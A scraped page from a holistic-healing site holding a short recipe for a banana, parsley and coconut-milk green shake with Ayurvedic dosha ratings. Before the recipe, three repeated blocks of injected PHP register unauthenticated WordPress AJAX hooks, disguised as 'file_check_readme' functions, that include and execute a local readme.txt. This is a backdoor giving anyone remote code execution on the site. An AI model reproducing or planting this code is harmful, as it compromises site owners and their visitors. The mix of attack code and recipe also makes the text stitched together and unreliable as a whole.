if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Sweet Green Shake | Holistic Healing Resolutions by Asaf Feit

 

Sweet Green Shake

Prep Time 5 minutes
Total Time 5 minutes
Course Drinks, Snack
Servings 2

Ingredients
  

  • A generous handful of parsley Vata 0 Pitta 0 Kapha - -
  • 2 stalks young celery Vata – Pitta - - Kapha -
  • 150 ml coconut milk Vata - Pitta - - Kapha ++
  • 1/2 cup water Vata 0 Pitta - Kapha +
  • 2 dates pitted (Vata - Pitta - Kapha +)
  • 2 bananas Vata - Pitta - - Kapha +

Instructions
 

  • Blend all ingredients until smooth.

Notes

Optional additions:
For Vata: Add to the blender a pinch of cinnamon and a pinch of dried ginger powder.
For Pitta: Add a pinch of ground cardamom.

THE WISDOM OF EATING 5-DAY CHALLENGE (May 18-22)

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